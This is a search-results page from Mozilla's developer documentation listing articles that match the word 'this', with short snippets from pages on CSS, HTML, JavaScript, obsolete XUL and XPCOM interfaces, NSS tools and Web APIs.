this notifies the user of the error, but allows for them continue modifying the form without losing focus (caused by the “onblur” handler in javascript's default ‘alert’ function).
...And 14 more matches
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
for
this guide, we will look at
this feature of grid and other modern layout methods, learning a little about writing modes and logical vs.
...
this can become an issue when developing a site that has to work in multiple languages, including languages that have text starting on the right, rather than the left.
...
this is a very simple example of the problem with physical values and properties being used in css.
...And 14 more matches
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
this had some advantages over the “css positioning” that came afterwards, in that we could take advantage of the alignment and full height columns offered by table display.
...sites such as the css zen garden showcased
this ability.
...on paper grid helps us properly fulfill that promise of content separated from mark-up, however is it possible to go too far with
this idea?
...And 14 more matches
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
in
this guide we will walk through a variety of strategies for support.
...
this means that if you write some grid layout code in firefox, it should work in the same way in chrome.
...
this is no longer an experimental specification, and you are safe to use it in production.
...And 14 more matches
WAI ARIA Live Regions/API Support - Developer guides
index of the accessible object to be removed) event_object_hide* (fired on the actual accessible object about to go away) object shown or inserted children_changed::add (fired on the parent, with event data pointing to the child index of the inserted accessible object) event_object_show* (fired on the actual new accessible object) object replaced with different object (
this happens especially if an object's interfaces or role changes) children_changed::remove followed immediately by children_change::add event_object_hide followed immediately by event_object_show text removed text_changed::delete ia2_event_text_removed (use iaccessibletext::get_oldtext to retrieve the offsets and removed text) text inserted text_changed::insert ia2...
...see [#events_fired_for_web_page_mutations the mutation events list] to match the type of event with
this attribute's value, to determine whether the author believed the event should be presented to the user or not.
...
this is especially important in atomic regions.
...And 14 more matches
Separate sites for mobile and desktop - Developer guides
this approach has positive and negative aspects.
...in a nutshell,
this technique uses server-side logic to solve all three goals of mobile web development at once — if the user’s browser looks like it’s on a phone, you serve them mobile content, formatted for their phone and optimized for speed.
... conceptually simple,
this is the easiest option to add to an existing site, especially if you are using a cms or web application that supports templates.
...And 14 more matches
<col> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmltablecolelement attributes
this element includes the global attributes.
... span
this attribute contains a positive integer indicating the number of consecutive columns the <col> element spans.
...And 14 more matches
<input type="date"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... among browsers with custom interfaces for selecting dates are chrome and opera, whose data control looks like so: the edge date control looks like: and the firefox date control looks like
this: value a domstring representing a date in yyyy-mm-dd format, or empty events change and input supported common attributes autocomplete, list, readonly, and step idl attributes list, value, valueasdate, valueasnumber.
...for example: var datecontrol = document.queryselector('input[type="date"]'); datecontrol.value = '2017-06-01'; console.log(datecontrol.value); // prints "2017-06-01" console.log(datecontrol.valueasnumber); // prints 1496275200000, a unix timestamp
this code finds the first <input> element whose type is date, and sets its value to 2017-06-01 (june 1st, 2017).
...And 14 more matches
<thead>: The Table Head element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role rowgroup permitted aria roles any dom interface htmltablesectionelement attributes
this element includes the global attributes.
... deprecated attributes align in html 4, in html5
this enumerated attribute specifies how horizontal alignment of each cell content will be handled.
...And 14 more matches
Array.prototype.every() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax arr.every(callback(element[, index[, array]])[,
thisarg]) parameters callback a function to test for each element, taking three arguments: element the current element being processed in the array.
...
thisarg optional a value to use as
this when executing callback.
...And 14 more matches
Add to Home screen - Progressive web apps (PWAs)
this guide explains how a2hs is used, and what you need to do as a developer to allow your users to take advantage of it.
...part of
this is the simple gesture of accessing an app by tapping its icon on your home screen, and then having it appear neatly in its own window.
... a2hs makes
this possible.
...And 14 more matches
passwords - Archive of obsolete content
using
this module you can: search for credentials which have been stored in the password manager.
... credentials in
this api, credentials are represented by objects.
...different sorts of stored credentials include various additional properties, as outlined in
this section.
...And 13 more matches
Release notes - Archive of obsolete content
this will not include any uplifts made after
this release entered aurora.
...
this will not include any uplifts made after
this release entered aurora.
...
this will not include any uplifts made after
this release entered aurora.
...And 13 more matches
Creating annotations - Archive of obsolete content
warning:
this tutorial relies on the since-removed widget api and no longer works with firefox.
... its main job is to maintain a matched element:
this is the page element that is the current candidate for an annotation.
...t is initially off: var matchedelement = null; var originalbgcolor = null; var active = false; function resetmatchedelement() { if (matchedelement) { (matchedelement).css('background-color', originalbgcolor); (matchedelement).unbind('click.annotator'); } } self.on('message', function onmessage(activation) { active = activation; if (!active) { resetmatchedelement(); } });
this selector listens for occurrences of the jquery mouseenter event.
...And 13 more matches
Creating Event Targets - Archive of obsolete content
this tutorial describes the use of low-level apis.
...
this is especially useful if you want to build your own modules, either to organize your add-on better or to enable other developers to reuse your code.
... in
this tutorial we'll create part of a module to access the browser's places api.
...And 13 more matches
Getting Started (jpm) - Archive of obsolete content
this article describes how to develop using jpm.
...
this tutorial walks through creating a simple add-on using the sdk.
...navigate to it, type jpm init, and hit enter: mkdir my-addon cd my-addon jpm init you'll then be asked to supply some information about your add-on:
this will be used to create your add-on's package.json file.
...And 13 more matches
Forms related code snippets - Archive of obsolete content
note about the const statement compatibility) <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>datepicker example - mdn</title> <script type="text/javascript"> /*\ |*| |*| datepicker example mdndeveloper network |*| |*| https://developer.mozilla.org/docs/code_snippets/forms |*| https://developer.mozilla.org/user:fusionchess |*| |*|
this snippet is released under the gnu public license, version 3 or later.
...ument.createelement("table"), ohrow = document.createelement("tr"), othead = document.createelement("thead"), ocapt = document.createelement("caption"), odecryear = document.createelement("span"), oincryear = document.createelement("span"), odecrmonth = document.createelement("span"), oincrmonth = document.createelement("span"); var nid = ainstances.length, oth;
this.target = otarget;
this.display = document.createelement("span");
this.current = new date();
this.container = otable;
this.display.classname = sprefs + "-current-month";
this.id = nid; otable.classname = sprefs + "-calendar"; otable.id = sprefs + "-cal-" + nid; odecryear.classname = sprefs + "-decrease-year"; odecrmonth.classname = sprefs + "-decrease-month"; ...
...rmonth.onmousedown = oincrmonth.onmousedown = onheadclick; for (var nthid = 0; nthid < 7; nthid++) { oth = document.createelement("th"); oth.innerhtml = sdays[nthid]; ohrow.appendchild(oth); } othead.appendchild(ohrow); ocapt.appendchild(odecryear); ocapt.appendchild(odecrmonth); ocapt.appendchild(oincryear); ocapt.appendchild(oincrmonth); ocapt.appendchild(
this.display);
this.container.appendchild(ocapt);
this.container.appendchild(othead);
this.current.setdate(1);
this.writedays(); otarget.onclick = function () { if (otable.parentnode) { otable.parentnode.removechild(otable); return; } otable.style.zindex = nzindex++; otable.style.position = "absolute"; otable.style.left = otarget.offsetleft +...
...And 13 more matches
Adding menus and submenus - Archive of obsolete content
in
this section we'll look into more specialized menus and what you can do with them.
...you can do
this with a menubar.
... the toolbox should be positioned near the top of the xul document, and the code should be similar to
this: <toolbox> <menubar id="xulschoolhello-menubar"> <menu id="xulschoolhello-greeting-menu" label="&xulschoolhello.greeting.label;"> <menupopup> <menuitem label="&xulschoolhello.greet.short.label;" oncommand="xulschoolchrome.greetingdialog.greetingshort(event);" /> <menuitem label="&xulschoolhello.greet.medium.label;" oncommand="xulschoolchrome.greeti...
...And 13 more matches
Appendix F: Monitoring DOM changes - Archive of obsolete content
for
this reason, it is best to avoid using mutation listeners at all costs, especially from extensions.
...
this document lays out some alternatives which do not have such severe performance impacts.
... for more information, see
this blog post on the issues at hand.
...And 13 more matches
Mozilla Documentation Roadmap - Archive of obsolete content
this tutorial was aimed at compiling all the right resources for extension development and putting them in the right context, but there's much more to learn, and knowing how to find it is part of what we felt was necessary to teach.
... the mozilla developer center
this is the official and most extensive guide to everything related to mozilla.
... mdc is where
this tutorial is hosted, and where most of its links point to.
...And 13 more matches
A XUL Bestiary - Archive of obsolete content
this xulnote presents some of the key concepts and terms in the xul development environment.
... the purpose of
this article is not to describe these items in any great detail but to define what they are in simple terms.
... i selected items for
this group because they seemed to be either shrouded in mystery, misused as concepts or terms, or underestimated according to their role in xul and cross-platform development.
...And 13 more matches
Extensions - Archive of obsolete content
to add a new menu onto the main application menubar, you will need to overlay
this menubar.
... for instance: <menubar id="main-menubar"> <menu label="search" insertbefore="tools-menu"> <menupopup> <menuitem label="web"/> <menuitem label="mail"/> </menupopup> </menu> </menubar>
this menu is added to the main menu bar just before the tools menu.
...
this can be done by overlaying the popup to append the item to.
...And 13 more matches
Filtering - Archive of obsolete content
this can be done by modifying the dom nodes inside the query and rebuilding the template.
...if
this is set, we add a filter, otherwise we remove it.
...for example, the resulting triple for the netherlands might be: <triple subject="?photo" predicate="http://www.xulplanet.com/rdf/country" object="http://www.daml.org/2001/09/countries/iso#nl"/>
this triple is then appended to the query.
...And 13 more matches
Introduction - Archive of obsolete content
some other systems call
this databinding.
...when the xul parser sees an element with
this attribute, it constructs a template builder for the element and attaches it to the element.
...here is an example: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" querytype="rdf">
this example specifies the datasource 'http://www.xulplanet.com/ds/sample.rdf', using the datasource type rdf as indicated by the querytype attribute'.
...And 13 more matches
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
this article explains how to add a toolbar button to a toolkit application (such as firefox, thunderbird, or kompozer) using overlays.
...explaining overlays is beyond the scope of
this tutorial -- you can read about them in the xul tutorial.
...you can find a list of uris for the most commonly overlaid documents at the bottom of
this page.
...And 13 more matches
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
the last example in the previous section demonstrated
this.
...
this could be useful when trapping the focus and blur events.
...for example, a custom checkbox might have a checked property which needs to be changed when the user clicks the checkbox: <handlers> <handler event="mouseup" action="
this.checked=!
this.checked"/> </handlers> when the user clicks and releases the mouse button over the check box, the mouseup event is sent to it, and the handler defined here is called, causing the state of the checked property to be reversed.
...And 13 more matches
Cross Package Overlays - Archive of obsolete content
« previousnext »
this section describes how to apply overlays to files that don't import them.
... applying overlays to other packages note:
this section talks about contents.rdf which has been replaced in gecko 1.8 by manifest files.
...you specify
this by modifying the contents.rdf file for your package.
...And 13 more matches
Using Remote XUL - Archive of obsolete content
this also means you can't load xul using file:// urls unless you set the preference dom.allow_xul_xbl_for_file to true.
...the remote xul manager extension lets you manage
this whitelist, which is maintained using nsipermissionmanager, by creating entries of type "allowxulxbl", like
this: components.classes["@mozilla.org/permissionmanager;1"] .getservice(components.interfaces.nsipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.nsipermissionmanager.allow_action); xul (pronounced like "zool"), which is short for xml-based user interface language, is an xml-based language for describing application interfaces.
...xul loaded and rendered in
this way is called remote xul and can be used for basic functions like web site navigation as well as to build sophisticated web-based applications.
...And 13 more matches
tabs - Archive of obsolete content
select, setfocus, selectedindex, tabbox, tabindex, tooltiptextnew, value, properties accessibletype, disabled, itemcount, selectedindex, selecteditem, tabindex, value, methods advanceselectedtab, appenditem, getindexofitem, getitematindex, insertitemat, removeitemat examples (example needed) attributes closebutton obsolete since gecko 1.9.2 type: boolean if
this attribute is set to true, the tabs row will have a "new tab" button and "close" button on the ends.
...
this feature is used by the tabbrowser to provide the facilities for adding and closing tabs.
... disableclose type: boolean if
this attribute is true the close button will be disabled.
...And 13 more matches
Deploying XULRunner - Archive of obsolete content
this means that while the release is immature in some areas such as embedding, application deployment, and os integration, it can be used by developers that are releasing standalone xul applications.
...
this document explains how deployment should be managed for self contained portable applications built on xulrunner.
...additional application files such as icons, etc myapplicationname.exe (
this is the "stub executable"...
...And 13 more matches
Getting started with XULRunner - Archive of obsolete content
next »
this article explores the mozilla platform by building a basic desktop application using xulrunner.
... you can extract
this to any location you like, but there are many places in the documentation that will assume that you have
this installed in /library/frameworks.
...one way to achieve
this is to run the following script everytime you want to install a new version: firefox_version=`grep -po "\d{2}\.\d+" /usr/lib/firefox/platform.ini` arch=`uname -p` xurl=https://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/$firefox_version/runtimes/xulrunner-$firefox_version.en-us.linux-$arch.tar.bz2 cd /opt sudo sh -c "wget -o- $xurl | tar -xj" sudo ln -s /opt/xulrunner/xulrunner /usr/bin/xulrunner sudo ln -s /opt/xulrunner/xpcshell /usr/bin/xpcshell you could also save
this scrip...
...And 13 more matches
Extentsions FAQ - Archive of obsolete content
"); var replaceme = document.getelementbyid("replaceme"); replaceme.parentnode.replacechild(newnode, replaceme); is it possible to place an image in the window that can be moved to anywhere in the window, and always remain on top of everything else?(similiar to using position:absolute and-index:100000 in html) you can almost do
this with a stack: <window ...> <stack flex="1"> <image top="40" left="80"/> <vbox> other content here </vbox> </stack> </window> the only restriction is that your image can't overlap the right or bottom of the window.
... there are workarounds to
this restriction by messing around with overflow or negative margins but i forgot offhand how to do that.
...<https://bugzilla.mozilla.org/show_bug.cgi?id=312818> "thunderbird requires domain in addresses and doesn't always add default" there is an extension that allows what you want attached to one of the comments in
this bug.
...And 13 more matches
TCP/IP Security - Archive of obsolete content
this layer sends and receives data for particular applications, such as domain name system (dns), hypertext transfer protocol (http), and simple mail transfer protocol (smtp).
...
this layer provides connection-oriented or connectionless services for transporting application layer services between networks.
...
this layer routes packets across networks.
...And 13 more matches
The Business Benefits of Web Standards - Archive of obsolete content
this article discusses how adhering to web standards, and leaving behind proprietary markup and technologies, can contribute to a company's business goals.
...the blogging community are particularly dynamic in
this respect where on many platforms including wordpress, textpattern and habari, the site theme is a complete and discrete entity in its own right.
...typically
this reduces page size by 25 to 50%.
...And 13 more matches
CSS layout - Learn web development
at
this point we've already looked at css fundamentals, how to style text, and how to style and manipulate the boxes that your content sits inside.
... get started prerequisites before starting
this module, you should already: have basic familiarity with html, as discussed in the introduction to html module.
... introduction to css layout
this article will recap some of the css layout features we've already touched upon in previous modules — such as different display values — and introduce some of the concepts we'll be covering throughout
this module.
...And 13 more matches
Adding vector graphics to the Web - Learn web development
in
this article we'll show you how to include one in your webpage.
... note:
this article doesn't intend to teach you svg; just what it is, and how to add it to web pages.
...you can find
this example live on our github repo as vector-versus-raster.html — it shows two seemingly identical images side by side, of a red star with a black drop shadow.
...And 13 more matches
Function return values - Learn web development
let's return to a familiar example (from a previous article in
this series): let mytext = 'the weather is cold'; let newstring = mytext.replace('cold', 'warm'); console.log(newstring); // should print "the weather is warm" // the replace() string function takes a string, // replaces one substring with another, and returns // a new string with the replacement made the replace() function is invoked on the mytext string, and is passed two parameters: the substr...
...in the code above, the result of
this return value is saved in the variable newstring.
...it is very useful to know and understand what values are returned by functions, so we try to include
this information wherever possible.
...And 13 more matches
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
in todo-data.js, add the following getter underneath the existing all() getter to define what the incomplete todos actually are: get incomplete() { return
this.todos.filter(todo => { return todo.iscompleted === false; }); } using array.filter(), we declare that "incomplete" todos are ones that have iscompleted equal to false.
... next, add the following action underneath the existing add(text) action: @action clearcompleted() {
this.todos =
this.incomplete; }
this is rather nice for clearing the todos — we just need to set the todos array to equal the list of incomplete todos.
... finally, we need to make use of
this new functionality in our footer.hbs template.
...And 13 more matches
Getting started with Ember - Learn web development
for example, the router (which will be mentioned later in
this tutorial) is a service.
... as you work through
this series of tutorials, you'll notice ember's opinions — such as strict naming conventions of component files.
...
this language also enables lighter asset payloads due to compiling the templates into a "byte code" that can be parsed faster than javascript.
...And 13 more matches
Routing in Ember - Learn web development
previous overview: client-side javascript frameworks next in
this article we learn about routing, or url-based filtering as it is sometimes referred to.
...to do
this you’ll need to enter the following commands into your terminal, inside the root directory of your app: ember generate route index ember generate route completed ember generate route active the second and third commands should have not only generated new files, but also updated an existing file, app/router.js.
... it contains the following contents: import emberrouter from '@ember/routing/router'; import config from './config/environment'; export default class router extends emberrouter { location = config.locationtype; rooturl = config.rooturl; } router.map(function() {
this.route('completed');
this.route('active'); }); the highlighted lines were added when the 2nd and 3rd commands above were run.
...And 13 more matches
Ember app structure and componentization - Learn web development
previous overview: client-side javascript frameworks next in
this article we'll get right on with planning out the structure of our todomvc ember app, adding in the html for it, and then breaking that html structure into components.
...at
this point we add some html, planning out the structure and semantics of our todomvc app.
...
this already exists, and its contents currently look like so: {{!-- the following component displays ember's default welcome message.
...And 13 more matches
Software accessibility: Where are we today?
this article reviews the progress and technology as it has developed.
...up until
this point, the largest driving force behind desktop computing environments has been microsoft, first with ms dos, followed by variants of microsoft windows.
...
this tends to be somewhat less of a limitation in that most software doesn't rely exclusively on audio to relay feedback.
...And 13 more matches
NetUtil.jsm
this must be an nsiinputstream based object.
...
this must be an nsioutputstream based object.
... exceptions thrown
this method throws an exception with the message "must have a source and a sink" if either asource or asink is null.
...And 13 more matches
Leak-hunting strategies and tips
this document is old and some of the information is out-of-date.
... once you've done
this, and it doesn't leak much, then try the action under trace-malloc or lsan or valgrind to find the leaks of smaller graphs of objects.
...(is
this advice still accurate now that we have a cycle collector?
...And 13 more matches
JSS Provider Notes
this page has been moved to http://www.dogtagpki.org/wiki/jss_provider.
... the mozilla-jss jca provider newsgroup: mozilla.dev.tech.crypto overview
this document describes the jca provider shipped with jss.
...netscape has
this approval and signs the official builds of jss32.jar.
...And 13 more matches
NSS tools : crlutil
this document discusses certificate revocation list management.
...
this option is provided as a special case.
...
this formatting follows rfc #1113.
...And 13 more matches
How to build an XPCOM component in JavaScript
this is a "hello world" tutorial for creating an xpcom component in javascript.
...
this tutorial does not describe how and why xpcom works the way it does, or what every bit of the example code does.
...
this tutorial will show you what you need to do to get a component working in as few and as simple steps as possible.
...And 13 more matches
NS_ConvertUTF16toUTF8
ternal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
... @param astring is substring to be sought in
this @param aignorecase selects case sensitivity @param aoffset tells us where in
this string to start searching @param acount tells us how far from the offset we are to search.
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source
this methods scans the string backwards, looking for the given string @param astring is substring to be sought in
this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in
this string to start searching.
...And 13 more matches
NS_LossyConvertUTF16toASCII
ternal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
... @param astring is substring to be sought in
this @param aignorecase selects case sensitivity @param aoffset tells us where in
this string to start searching @param acount tells us how far from the offset we are to search.
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source
this methods scans the string backwards, looking for the given string @param astring is substring to be sought in
this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in
this string to start searching.
...And 13 more matches
nsAdoptingString
note that
this class violates constness in a few places.
...r const prunichar*() const - source operator[] prunichar operator[](print32) const - source parameters print32 i prunichar operator[](pruint32) const - source parameters pruint32 i get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
... @param astring is substring to be sought in
this @param aignorecase selects case sensitivity @param aoffset tells us where in
this string to start searching @param acount tells us how far from the offset we are to search.
...And 13 more matches
nsAutoString
it is normally not a good idea to use
this class on the heap, because it will allocate space which may be wasted if the string it contains is significantly smaller or any larger than 64 characters.
...ternal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
... @param astring is substring to be sought in
this @param aignorecase selects case sensitivity @param aoffset tells us where in
this string to start searching @param acount tells us how far from the offset we are to search.
...And 13 more matches
nsFixedString
methods constructors void nsfixedstring(prunichar*, pruint32) - source @param data fixed-size buffer to be used by the string (the contents of
this buffer may be modified by the string) @param storagesize the size of the fixed buffer @param length (optional) the length of the string already contained in the buffer parameters prunichar* data pruint32 storagesize void nsfixedstring(prunichar*, pruint32, pruint32) - source parameters prunichar* data pruint32 storagesize pruint32 length operator= nsstring& operator=(const nsstring&...
...ternal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
... @param astring is substring to be sought in
this @param aignorecase selects case sensitivity @param aoffset tells us where in
this string to start searching @param acount tells us how far from the offset we are to search.
...And 13 more matches
nsPromiseFlatCString
ternal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
... @param astring is substring to be sought in
this @param aignorecase selects case sensitivity @param aoffset tells us where in
this string to start searching @param acount tells us how far from the offset we are to search.
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source
this methods scans the string backwards, looking for the given string @param astring is substring to be sought in
this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in
this string to start searching.
...And 13 more matches
nsXPIDLString
class declaration nstxpidlstring extends nststring such that: (1) mdata can be null (2) objects of
this type can be automatically cast to |const chart*| (3) getter_copies method is supported to adopt data allocated with ns_alloc, such as "out string" parameters in xpidl.
...ternal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within
this string.
... @param astring is substring to be sought in
this @param aignorecase selects case sensitivity @param aoffset tells us where in
this string to start searching @param acount tells us how far from the offset we are to search.
...And 13 more matches
IAccessibleTable
other-licenses/ia2/accessibletable.idlnot scriptable
this interface gives access to a two-dimensional table.
...in
this case iaccessible2.indexinparent() will return the child index which then can be used when calling rowindex() and columnindex().
...
this object attribute is obtained by parsing the attribute string returned by iaccessible2.attributes().
...And 13 more matches
nsIAppShellService
ruint32 aferocity); obsolete since gecko 1.8 void registertoplevelwindow(in nsixulwindow awindow); void run(); obsolete since gecko 1.8 void toplevelwindowismodal(in nsixulwindow awindow, in boolean amodal); obsolete since gecko 1.9.1 void unregistertoplevelwindow(in nsixulwindow awindow); note: prior to gecko 8.0, all references to nsidomwindow used in
this interface were nsidomwindowinternal.
...
this will usually be false on all non-mac platforms.
... hiddendomwindow nsidomwindow return the (singleton) application hidden window, automatically created and maintained by
this appshellservice.
...And 13 more matches
nsIAsyncInputStream
xpcom/io/nsiasyncinputstream.idlscriptable please add a summary to
this article.
...if the stream implements nsiasyncinputstream, then the caller can use
this interface to request an asynchronous notification when the stream becomes readable or closed (via the asyncwait() method).
... while
this interface is almost exclusively used with non-blocking streams, it is not necessary that nsiinputstream.isnonblocking() return true.
...And 13 more matches
nsIAsyncOutputStream
xpcom/io/nsiasyncoutputstream.idlscriptable please add a summary to
this article.
...if the stream implements nsiasyncoutputstream, then the caller can use
this interface to request an asynchronous notification when the stream becomes writable or closed (via the asyncwait() method).
... while
this interface is almost exclusively used with non-blocking streams, it is not necessary that nsioutputstream.isnonblocking() return true.
...And 13 more matches
nsICompositionStringSynthesizer
dom/interfaces/base/nsicompositionstringsynthesizer.idlscriptable
this interface is a composition string synthesizer interface that synthesizes composition string with arbitrary clauses and a caret 1.0 66 introduced gecko 26 obsolete gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35)
this interface is obsoleted in gecko 38.
... you need to use nsitextinputprocessor instead of
this.
...to create an instance for
this: var domwindowutils = window.windowutils; var compositionstringsynthesizer = domwindowutils.createcompositionstringsynthesizer(); for example, when you create a composition whose composing string is "foo-bar-buzz" and "bar" is selected to convert, then, first, you need to start composition: domwindowutils.sendcompositionevent("compositionstart", "", ""); next, dispatch composition string with crause information and caret information (optional): // set new composition string with .setstring().
...And 13 more matches
nsIFocusManager
dom/interfaces/base/nsifocusmanager.idlscriptable please add a summary to
this article.
...setting
this to null or to a non-top-level window throws an ns_error_invalid_arg exception.
...
this will always be an element within the document loaded in focusedwindow or null if no element in that document is focused.
...And 13 more matches
Setting HTTP request headers
http channels when you deal with http requests and responses, typically you are doing
this with an nsihttpchannel.
...
this method allows us to set an http request header.
...(
this variable could have been named anything though.) the setrequestheader method takes 3 parameters.
...And 13 more matches
Performance
this operation is extremely slow.
...some operations require walking
this queue to see what operations have been pending, and they will be slower.
... if the user shuts down the browser soon after you do
this type of operation, you can delay shutdown (possibly for many tens of seconds for large numbers of transactions and slow disks), making it look like the browser is hung.
...And 13 more matches
Xptcall Porting Guide
it does
this using platform specific assembly language code.
...
this code needs to be ported to all platforms that want to support xptcall (and thus mozilla).
...here are examples of
this implementation for win32 and linux x86, netbsd x86, and freebsd.
...And 13 more matches
Using the Multiple Accounts API
warning: the content of
this article may be out of date.
...account) | +- identity 2 (alec flett <alecf@myisp.com>) +- account 3 | +- incoming server 3 (news.myisp.com nntp server, my isp's server) | +- identity 3 (alec flett <alecfnospam@myisp.com>) +- account 4 +- incoming server 4 (news.mozilla.org nntp server, mozilla devel) +- identity 2 (alec flett <alecf@myisp.com>) +- identity 3 (alec flett <alecfnospam@myisp.com>)
this is the internal structure that the mail client maintains, but it is presented to the user in a few different ways.
...the above example would look like
this: alecf on imap.mywork.com +- inbox +- trash +- (etc) alecf on pop.myisp.com +- inbox +- trash +- (etc) news.myisp.com +- comp.os.linux.announce +- etc..
...And 13 more matches
ctypes
constant description default_abi corresponds to cdecl; standard libraries use
this abi.
... you also use
this for all system calls on mac os x and linux.
...because of
this, ctypes.int64 and ctypes.uint64 do not automatically convert to javascript numbers.
...And 13 more matches
Scripting plugins - Plugins
« previousnext » xxx: dummy p element
this document describes the new cross-browser npapi extensions, commonly called npruntime, that have been developed by a group of browser and plugin vendors, including the mozilla foundation, adobe, apple, opera, and sun microsystems (see press release).
...
this document also explains how to make a plugin use these new extensions to be scriptable as well as how to access objects in a browser.
... (a bit of history: npapi plugins that used to take advantage of being scriptable via liveconnect in 4.x netscape browsers lost
this possibility in mozilla (due to the jni making the netscape 4.x jri obsolete).
...And 13 more matches
DevTools API - Firefox Developer Tools
while
this api is currently a work-in-progress, there are usable portions of page inspector and debugger that may be used currently.
...a definition is a js light object that exposes different information about the tool (like its name and its icon), and a build method that will be used later-on to start an instance of
this tool.
...the target
this toolbox is debugging.
...And 13 more matches
Settings - Firefox Developer Tools
to see the settings, open any of the developer tools, and then: click the "settings" command in the menu: or press f1 to toggle between the active tool and the settings pane the settings pane looks something like
this: categories default firefox developer tools
this group of checkboxes determines which tools are enabled in the toolbox.
... available toolbox buttons
this group of checkboxes determines which tools get an icon in the toolbox's toolbar.
... themes
this enables you to choose one of two themes.
...And 13 more matches
AbstractRange - Web APIs
this value must be less than the length of the endcontainer node.
...
this value must be less than the length of the node indicated in startcontainer.
...
this is useful when you need to specify a range that will only be used once, since it avoids the performance and resource impact of the more complex range interface.
...And 13 more matches
Using the CSS Painting API - Web APIs
to programmatically create an image used by a css stylesheet we need to work through a few steps: define a paint worklet using the registerpaint() function register the worklet include the paint() css function to elaborate over these steps, we're going to start by creating a half-highlight background, like on
this header: css paint worklet in an external script file, we employ the registerpaint() function to name our css paint worklet.
...the first is the name we give the worklet —
this is the name we will use in our css as the parameter of the paint() function when we want to apply
this styling to an element.
... */ paint(ctx) { ctx.fillstyle = 'hsla(55, 90%, 60%, 1.0)'; ctx.fillrect(0, 15, 200, 20); /* order: x, y, w, h */ } }); in
this class example we have defined a single context option with the contextoptions() function: we returned a simple object stating alpha transparency is allowed.
...And 13 more matches
Using the Payment Request API - Web APIs
this article is a guide to making use of the payment request api, with examples and suggested best practices.
... the basics of making a payment
this section details the basics of using the payment request api to make a payment.
... note: the code snippets from
this section are from our feature detect support demo.
...And 13 more matches
RTCRtpStreamStats - Web APIs
note:
this interface was called rtcrtpstreamstats until a specification update in the spring of 2017.
... standard fields included for all media types codecid a domstring which uniquely identifies the object which was inspected to produce the rtccodecstats object associated with
this rtp stream.
...
this value will match that of the media type indicated by rtccodecstats.codec, as well as the track's kind property.
...And 13 more matches
ReadableStream.ReadableStream() - Web APIs
underlyingsource can contain the following: start(controller)
this is a method, called immediately when the object is constructed.
... the contents of
this method are defined by the developer, and should aim to get access to the stream source, and do anything else required to set up the stream fuctionality.
... if
this process is to be done asynchronously, it can return a promise to signal success or failure.
...And 13 more matches
Streams API concepts - Web APIs
some of the concepts and terminology associated with streams might be new to you —
this article explains all you need to know.
... readable streams a readable stream is a data source represented in javascript by a readablestream object that flows from an underlying source —
this is a resource somewhere on the network or elsewhere on your domain that you want to get data from.
... the chunks placed in a stream are said to be enqueued —
this means they are waiting in a queue ready to be read.
...And 13 more matches
SubtleCrypto.importKey() - Web APIs
supported formats
this api supports four different key import/export formats: raw, pkcs #8, subjectpublickeyinfo, and json web key.
... raw you can use
this format to import or export aes or hmac secret keys, or elliptic curve public keys.
... in
this format the key is supplied as an arraybuffer containing the raw bytes for the key.
...And 13 more matches
Using textures in WebGL - Web APIs
this example uses the glmatrix library to perform its matrix and vertex math.
... you'll need to include it if you create your own project based on
this code.
... the code that loads the texture looks like
